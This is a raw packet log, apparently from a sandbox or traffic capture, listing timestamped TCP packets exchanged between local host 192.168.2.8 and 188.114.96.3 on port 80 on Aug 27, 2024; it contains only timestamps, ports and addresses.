Aug 27, 2024 09:49:38.100681067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100692987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100703955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100716114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100729942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100749969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100764036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100893974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100904942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100915909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100935936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100946903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.100948095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100959063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100970984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.100982904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101002932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101013899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101161003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101172924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101185083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101197004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101207972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101219893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101227045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101232052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101243019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101248980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101257086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101264954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101284027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101476908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101489067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101505041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101516962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101527929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101537943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101547956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101548910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101561069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101564884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101573944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101586103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101593018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101598978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101613045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101632118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101738930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101749897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101761103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101780891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101789951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101799965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101813078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101824999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101831913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101836920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.101844072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.101910114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.184986115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185065985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185118914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185136080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185170889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185225010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185224056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185275078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185311079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185338974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185487032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185539961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185653925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185666084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185678005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185689926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185703039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185709000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185722113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185734034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185738087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185751915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185764074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185774088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185786963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185792923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185798883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185815096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185836077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.185918093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185930967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185941935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185954094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185965061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185980082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.185988903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186063051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186077118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186086893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186096907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186120033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186122894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186135054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186146975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186161995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186184883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186275959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186288118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186300039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186311007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186323881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186326981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186333895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186352015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186362028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186484098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186496019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186506033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186525106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186536074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186539888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186603069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186633110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186644077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186656952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186667919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186675072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186681032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186686039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186722040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186738014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186749935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186760902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186772108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186784983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186814070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186935902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186947107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186959028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186970949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186984062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.186995029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.186996937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187009096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187021971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187026024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187027931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187091112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187279940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187294006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187304974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187316895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187331915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187347889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187350988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187360048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187371969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187382936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187396049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187407017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187428951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187457085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187477112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187488079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187499046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187511921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187520027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187526941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187536001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187537909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187561989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187623024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187634945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187647104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187658072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187663078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187671900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187683105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187707901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187783003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187794924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187805891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187818050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187829971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.187834024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187894106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.187999964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188011885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188023090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188034058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188046932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188052893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188059092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188071012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188107014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188131094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188139915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188152075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188163042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188175917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188188076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188199997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188200951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188226938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188236952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188270092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188281059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188292980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188304901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188313961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188322067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188333035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188344955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188352108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188355923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188369989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188400030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188513041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188524961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188572884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188662052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188673973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188683987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188695908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188714027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188725948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188738108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188739061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188760042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188765049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188771963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188781977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188793898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.188796997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.188817978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.242415905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272052050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272109032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272144079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272176981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272192001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272211075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272243977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272268057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272278070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272294998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272309065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272356987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272454977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272521973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272536039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272551060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272559881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272619009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272627115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272631884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272644997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272658110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272669077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272706985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272717953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272737026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272747993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272778034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272814035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272869110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.272922993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272933960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272943974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272954941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272967100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.272978067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273005009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273027897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273072958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273083925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273093939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273106098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273116112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273154974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273236036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273247957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273258924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273269892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273282051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273293972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273304939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273320913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273345947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273379087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273396015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273406982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273425102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273437023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273447990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273453951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273458958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273474932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273503065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273622036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273633003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273726940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273736000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273737907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273778915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273822069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273833036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273844957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273855925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273866892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273878098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273889065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273920059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273947954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.273971081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273982048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.273993969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274005890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274029970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274056911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274070024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274080992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274116039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274147987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274158955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274168968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274179935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274190903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274192095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274204016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274214029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274214983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274224997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274238110 CEST	80	49715	188.114.96.3	192.168.2.8
